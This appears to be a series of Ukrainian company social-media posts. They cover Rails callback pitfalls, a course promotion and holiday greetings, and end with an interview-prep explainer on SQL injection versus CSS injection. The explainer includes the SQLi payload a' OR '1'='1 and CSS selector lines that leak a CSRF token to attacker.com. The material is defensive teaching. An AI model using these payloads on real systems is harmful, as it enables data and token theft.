Спочатку callbacks здаються ідеальним рішенням: Rails усе зробить сам.

А потім приходить момент, коли ніхто вже не розуміє: хто, коли і чому запускає цей код. І замість зручності отримуємо приховану логіку, складний дебаг і страх щось змінити.

Продовжуємо нашу серію:
🚀 Rails без магії: 7 помилок, які роблять навіть мідли

Попередні пости серії:
📍 Rails без магії: 7 помилок, які роблять навіть мідли
📍 Background jobs: чому “просто Sidekiq” — не завжди просто
📍 Transactions у Rails: чому “і так працює” — небезпечна ілюзія
📍 DB constraints: чому Rails validation — це не гарантія
📍 Fat model / Fat controller: коли клас росте швидше за проєкт
📍 N+1: коли все працює… поки не з’являються реальні дані

#codica_advice

➡️ Callbacks: зручно, поки не стає боляче

Callbacks створюють неявну бізнес-логіку, яку важко відстежити, тестувати й контролювати.
Ми всі так робили 🙂

Як це виглядає

class Order < ApplicationRecord
  after_create :send_email
  after_save :update_statistics
  after_commit :sync_with_crm

  private

  def send_email
    ...
  end
end

Спочатку — зручно.
Потім у моделі вже 6 callback-ів.
А потім ти не можеш пояснити, чому щось запускається двічі.

У чому проблема
🔹 Логіка стає неявною
🔹 Побічні ефекти розкидані
🔹 Важко зрозуміти порядок виконання
🔹 Тести стають крихкими
🔹 Дебаг займає більше часу, ніж написання

Callbacks — це implicit behavior.
А implicit behavior складно масштабувати.

Де особливо небезпечно
• фінансові операції
• інтеграції з зовнішніми сервісами
• зміна статусів
• створення пов’язаних записів

Особливо якщо callback викликає ще одну модель… яка має свої callbacks.

Що робити замість цього?

1️⃣ Явна бізнес-логіка

CreateOrder.new(params).call

Service object робить те, що написано.

2️⃣ after_commit замість after_save
Якщо вже використовуєш callback — не роби побічні ефекти до коміту в БД.

3️⃣ Мінімізувати кількість callback-ів
Якщо їх більше 2–3 — це сигнал задуматись.

Маленьке правило, що рятує нерви
Якщо ти не можеш швидко відповісти “чому цей код спрацював” — подивись у callbacks.

Скільки callback-ів максимум ви бачили в одній моделі? 😄

TikTok | Instagram | Telegram

Друзі, всім продуктивного та трохи міжнародного вихідного 🌍
бо здається, що без англійської зараз навіть холодильник тебе не зрозуміє 😄

Тому сьогодні корисна знахідка, яка прокачає ваш рівень 👇

➡️ Курс англійської мови
Аж 50 уроків українською мовою від простого до складного, можна системно пройти базу і нарешті перестати казати “I understand but can’t speak” 😄
⏱ Тривалість — серія уроків

Нехай ці вихідні будуть з користю, новими словами і хоча б одним реченням англійською без Google Translate ☕

TikTok | Instagram | Telegram

З Днем Державного Прапора, друзі! 💙💛

Для нас цей день — не про офіційні промови. Наш прапор давно став чимось значно більшим: нашою ідентичністю та генетичним кодом.

Ми ніколи не забудемо, як наші звільнені з полону воїни плачуть, притискаючи синьо-жовтий стяг до обличчя. Як люди в окупації, ризикуючи життям, закопували прапори в городах, щоб зберегти волю. Як військові під кулями підіймають його над звільненими містами, повертаючи туди життя.
Ці два кольори назавжди всередині нас — у кожному подиху та в кожній перемозі.

Бережімо наш стяг, пам’ятаймо тих, хто віддав за нього життя, і тримаймося одне одного. Зі святом!✨

TikTok | Instagram | Telegram

З Днем міста, наш рідний, незламний Харкове! 🏛️❤️

Багато хто з вас знає, що наша компанія народилася саме тут. Зараз ми не в місті локально, але наше серце назавжди залишилося там.

Сьогодні ми подумки вдома. Згадуємо, як гуляли знайомими вуличками, ходили в театр і який галас зазвичай стоїть на Сумській цими днями. Цю атмосферу не передати словами — її можна тільки відчути.

Ми неймовірно сумуємо за нашою домівкою. Бо де б ми не були, знаємо на сто відсотків: кращого міста на землі немає і, мабуть, ніколи для нас не буде.

Любий Харкове, квітни, процвітай, тримайся попри все і завжди чекай на нас. А ми обіцяємо повернутися.
Зі святом, друзі! З днем нашого найкращого міста!

TikTok | Instagram | Telegram

🎯 Як відповідати на технічні питання на співбесіді?

#codica_interviews

✅ Хороший інженер — бачить архітектуру та загрози безпеці комплексно.
❌ Початківець — сподівається, що фреймворк усе зробить за нього.

What is the difference between SQL Injection and CSS Injection?

📌 Очікувана відповідь:

Обидві атаки належать до класу ін‘єкцій (впровадження стороннього коду), але працюють на різних рівнях абстракції, мають абсолютно різні вектори виконання та наслідки:

👉 SQL Injection (SQLi) — атака на рівні бекенду та бази даних. Зловмисник змінює логіку SQL-запиту, щоб отримати несанкціонований доступ до БД (читання, модифікація або видалення даних).

👉 CSS Injection — атака на рівні клієнтської сторони (браузера). Зловмисник впроваджує шкідливі стилі, щоб змінити UI (фішинг, UI redressing) або ексфільтрувати (викрасти) чутливі дані, які вже присутні в DOM-дереві (наприклад, CSRF-токени), за допомогою селекторів.

📌 Базові приклади в розрізі Rails:

# НІКОЛИ ТАК НЕ РОБІТЬ
User.where("email = '#{params[:email]}'")
# Якщо params[:email] буде: a' OR '1'='1, запит вибере всіх користувачів бази даних.

Safe код у Rails (Active Record автоматично використовує підготовлені запити — prepared statements):

User.where(email: params[:email])
# Або через плейсхолдери:
User.where("email = ?", params[:email])

Приклад CSS-ін’єкції (через відсутність фільтрації у контексті стилів):

Якщо застосунок дозволяє кастомізувати тему профілю і виводить значення безпосередньо у тег <style> без очищення:

<style>
.user-profile { background: <%= params[:theme_color] %>; }
</style>

Якщо зловмисник передасть у params[:theme_color] конструкцію, що закриває поточне правило, він може застосувати послідовний перебір чутливих атрибутів (наприклад, CSRF-токена в прихованому інпуті):

x; }
input[name="authenticity_token"][value^="a"] { background-image: url('https://attacker.com'); }
input[name="authenticity_token"][value^="b"] { background-image: url('https://attacker.com'); }

Браузер побачить збіг першої літери токена з атрибутом value у HTML та надішле на сервер зловмисника тригерний HTTP-запит для завантаження фону. Наступними запитами (або через генерацію послідовних @import) зловмисник дізнається весь токен.

📌 Детальний розбір механізмів:

1️⃣ Область дії (Scope):

👉 SQLi: Сервер і база даних. Загрожує витоком або знищенням усієї БД.

👉 CSS Injection: Браузер жертви. Загрожує витоком статичних даних з DOM (токени, особисті дані у text-вузлах через лігатури), перекриттям оригінальних кнопок фейковими формами (Clickjacking / UI redressing).

2️⃣ Як захищає Rails "з коробки":

👉 Від SQLi: Active Record екранує всі параметри, які передаються через хеші. Вразливість виникає лише за умов використання сирого SQL з інтерполяцією рядків #{}.

👉 Від CSS-ін'єкцій: Стандартний html_escape від Rails захищає від виходу з HTML-контексту (наприклад, не дасть закрити тег </style>). Проте, якщо ви використовуєте методи raw, html_safe, або дозволяєте користувачам підвантажувати власні CSS-файли чи inline-стилі без глибокої санітизації через спеціалізовані парсери (наприклад, rails-html-sanitizer з жорстким білим списком властивостей), застосунок стає вразливим.

3️⃣ Специфіка JS/SPA застосунків:

Для сучасних JS-фреймворків (React, Vue) CSS-ін‘єкція також небезпечна через CSS-in-JS рішення або динамічні ін’єкції стилів. Якщо токени або стейт рендеряться в HTML-атрибути елементів (наприклад, data-token), CSS-селектори зловмисника легко їх прочитають без жодного рядка на JavaScript.

🍀 Розуміння безпеки на стику технологій та знання реальних обмежень браузерних рушіїв — це те, що відрізняє Senior-розробника від звичайного кодера.

Пишіть безпечний код і будуйте надійні системи. Продуктивного тижня!

TikTok | Instagram | Telegram